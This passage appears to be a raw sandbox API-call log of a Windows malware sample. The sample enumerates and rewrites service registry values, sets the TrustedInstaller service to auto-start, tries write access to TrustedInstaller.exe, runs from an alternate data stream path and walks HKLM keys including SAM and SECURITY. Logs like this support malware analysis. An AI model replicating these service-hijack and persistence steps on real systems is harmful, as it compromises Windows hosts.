lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.539] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.539] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f19b8, cbData=0xc) returned 0x6 [0249.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.539] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f19b8, cbData=0x1) returned 0x6 [0249.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.539] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.539] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.539] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.539] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.539] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.539] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.540] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.540] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.540] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.540] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.540] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.540] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.540] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.540] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.540] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.540] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.540] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f1bf8, cbData=0x6) returned 0x6 [0249.540] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.540] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f1bf8, cbData=0x1) returned 0x6 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.541] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.542] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.542] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.542] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.542] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f19b8, cbData=0x1) returned 0x6 [0249.542] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0249.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0249.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0249.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0249.542] LocalFree (hMem=0x7f03d0) returned 0x0 [0249.542] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f1df0, cbData=0x2f) returned 0x6 [0249.542] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x8038a0 [0249.542] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0249.543] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0249.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0249.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0249.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0249.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0249.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0249.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0249.544] RegCloseKey (hKey=0x148) returned 0x0 [0249.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0249.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0249.544] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0249.544] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.544] GetLastError () returned 0x5 [0249.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0249.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0249.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0249.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0249.550] NtClose (Handle=0x148) returned 0x0 [0249.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0249.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0249.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0250.133] NtClose (Handle=0x148) returned 0x0 [0250.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0250.133] NtClose (Handle=0xc4) returned 0x0 [0250.133] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x2710) returned 0x0 [0250.536] NtClose (Handle=0x14c) returned 0x0 [0250.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0250.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0250.536] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0250.536] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.536] GetLastError () returned 0x5 [0250.536] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0250.537] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0250.537] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0250.537] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x20) returned 0x803990 [0250.538] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0250.538] GetLastError () returned 0x425 [0250.538] CloseServiceHandle (hSCObject=0x803990) returned 1 [0250.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0250.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0250.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0250.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0250.538] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0250.538] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0250.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0250.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.539] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0250.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0250.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.539] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0250.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0250.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.539] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0250.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0250.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.540] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0250.540] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.540] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0250.540] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.540] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.540] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.540] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.540] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0250.540] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.540] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0250.540] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.540] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.540] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.540] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.540] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.540] RegCloseKey (hKey=0x80000002) returned 0x0 [0250.540] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0250.540] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.540] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0250.540] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.540] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.540] RtlFreeHeap 